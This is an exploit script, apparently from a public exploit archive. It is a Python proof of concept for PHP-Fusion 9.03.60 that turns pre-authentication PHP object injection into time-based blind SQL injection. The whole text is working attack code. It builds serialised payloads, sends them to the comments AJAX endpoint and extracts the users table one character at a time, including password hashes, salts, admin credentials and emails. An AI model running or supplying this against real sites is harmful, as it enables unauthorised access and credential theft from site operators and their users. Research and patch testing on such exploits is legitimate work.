1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 |
# Exploit Title: PHP-Fusion 9.03.60 - PHP Object Injection # Date: 2020-05-26 # Exploit Author: coiffeur # Vendor Homepage: https://www.php-fusion.co.uk/home.php # Software Link: https://www.php-fusion.co.uk/php_fusion_9_downloads.php # Version: v9.03.60 # Description: # PHP Object Injection to SQL injection (pre-auth) import sys import requests import subprocess GENERATOR_NAME = "gen.php" GENERATOR_CONTENT = """<?php if (count($argv) < 2) { echo 'Usage: php gen.php "<PAYLOAD>"'; die; } $ar["comment_item_id"] = "1"; $ar["comment_item_type"] = $argv[1]; $payload = urlencode(base64_encode(serialize($ar))); echo $payload; ?> """ DEBUG = 1 DELTA = None TRESHOLD = 0.60 LIKE = "f%admin" COLUMNS = ["user_id", "user_name", "user_algo", "user_salt", "user_password", "user_admin_algo", "user_admin_salt", "user_admin_password", "user_email"] def usage(): banner = """NAME: PHPFusion v9.03.50, PHP Object Injection to SQL injection SYNOPSIS: python poi_to_sqli_9.03.50.py <URL> DESCRIPTION: Dump the content of the table named fusionX...X_users AUTHOR: coiffeur """ print(banner) def generator(action): if action == "w": with open(GENERATOR_NAME, "w") as f: f.write(GENERATOR_CONTENT) if action == "r": _ = subprocess.Popen(["rm", GENERATOR_NAME], stdout=subprocess.PIPE) def generate_payload(text): p = subprocess.Popen(["php", GENERATOR_NAME, text], stdout=subprocess.PIPE) out, _ = p.communicate() return out def check(payload): datas = {"comment_options": generate_payload(payload)} r = requests.post( url=f"{sys.argv[1]}/includes/classes/PHPFusion/Feedback/Comments.ajax.php", data=datas) return r.elapsed.total_seconds() def evaluate_delay(): global DELTA deltas = [] payload = "' UNION SELECT SLEEP(2)-- - '" for _ in range(3): deltas.append(check(payload)) DELTA = sum(deltas)/len(deltas) def get_tbl_name_len(): i = 0 while 1: payload = f"' UNION SELECT (CASE WHEN (SELECT LENGTH(table_name) FROM information_schema.tables WHERE table_name LIKE '{LIKE}' )<{i} THEN SLEEP(2) ELSE 0 END) -- - '" if check(payload) >= DELTA*TRESHOLD: return i-1 if i > 100: print(f"[x] Exploit failed") exit(-1) i += 1 def get_tbl_name(length): tbl_name = "" for i in range(1, length+1): min, max = 0, 127-1 while min < max: mid = (max + min) // 2 payload = f"' UNION SELECT (CASE WHEN (SELECT ASCII(SUBSTR(table_name,{i},1)) FROM information_schema.tables WHERE table_name LIKE '{LIKE}' )<={mid} THEN SLEEP(2) ELSE 0 END) -- - '" if check(payload) >= DELTA*TRESHOLD: max = mid else: min = mid + 1 tbl_name += chr(min) if DEBUG: print(f"[DEBUG] Table name: {tbl_name}") return tbl_name def get_rows_number(tbl_name): i = 0 while 1: payload = f"' UNION SELECT (CASE WHEN (SELECT COUNT(user_name) FROM {tbl_name})>{i} THEN 0 ELSE SLEEP(2) END) -- - '" if check(payload) >= DELTA*TRESHOLD: return i i += 1 def get_elt_len(tbl_name, column_name, offset): i = 0 while 1: payload = f"' UNION SELECT (CASE WHEN (SELECT LENGTH({column_name}) FROM {tbl_name} LIMIT 1 OFFSET {offset})<{i} THEN SLEEP(2) ELSE 0 END) -- - '" if check(payload) >= DELTA*TRESHOLD: if DEBUG: print( f"[DEBUG] Element {offset} in {column_name} from {tbl_name} length: {i-1}") return i-1 i += 1 def get_elt(tbl_name, column_name, offset, length): elt = "" for i in range(1, length+1): min, max = 0, 127-1 while min < max: mid = (max + min) // 2 payload = f"' UNION SELECT (CASE WHEN (SELECT ASCII(SUBSTR({column_name},{i},1)) FROM {tbl_name} LIMIT 1 OFFSET {offset} )<={mid} THEN SLEEP(2) ELSE 0 END) -- - '" if check(payload) >= DELTA*TRESHOLD: max = mid else: min = mid + 1 elt += chr(min) if DEBUG: print( f"[DEBUG] Element {offset} in {column_name} from {tbl_name}: {elt}") print(f"[*] Element {offset} in {column_name} from {tbl_name}: {elt}") return elt def get_rows(tbl_name, row_number): print(f"[*] Trying to dump {tbl_name}") rows = [] for offset in range(row_number): row = [] for column_name in COLUMNS: elt_length = get_elt_len(tbl_name, column_name, offset) row.append(get_elt(tbl_name, column_name, offset, elt_length)) print(f"[*] Row {offset}: {row}") rows.append(row) print(f"[*] Rows: {rows}") def main(): if len(sys.argv) < 2: print(usage()) exit(-1) if DEBUG: print(f"[*] Target: {sys.argv[1]}") if DEBUG: print(f"[DEBUG] Writting generator to {GENERATOR_NAME}") generator("w") evaluate_delay() if DEBUG: print(f"[*] Delta: {DELTA}") tbl_name_len = get_tbl_name_len() if DEBUG: print( f"[DEBUG] Looking for table like {LIKE} with length {tbl_name_len}") tbl_name = get_tbl_name(tbl_name_len) print(f"Table name: {tbl_name}") prefix = f"{tbl_name.split('_')[0]}_" print(f"[*] Prefix: {prefix}") user_table_name = f"{prefix}users" number_of_rows = get_rows_number(user_table_name) if DEBUG: print(f"[*] {user_table_name} got {number_of_rows} rows") get_rows(user_table_name, number_of_rows) if DEBUG: print(f"[DEBUG] Removing{GENERATOR_NAME}") generator("r") if __name__ == "__main__": main() |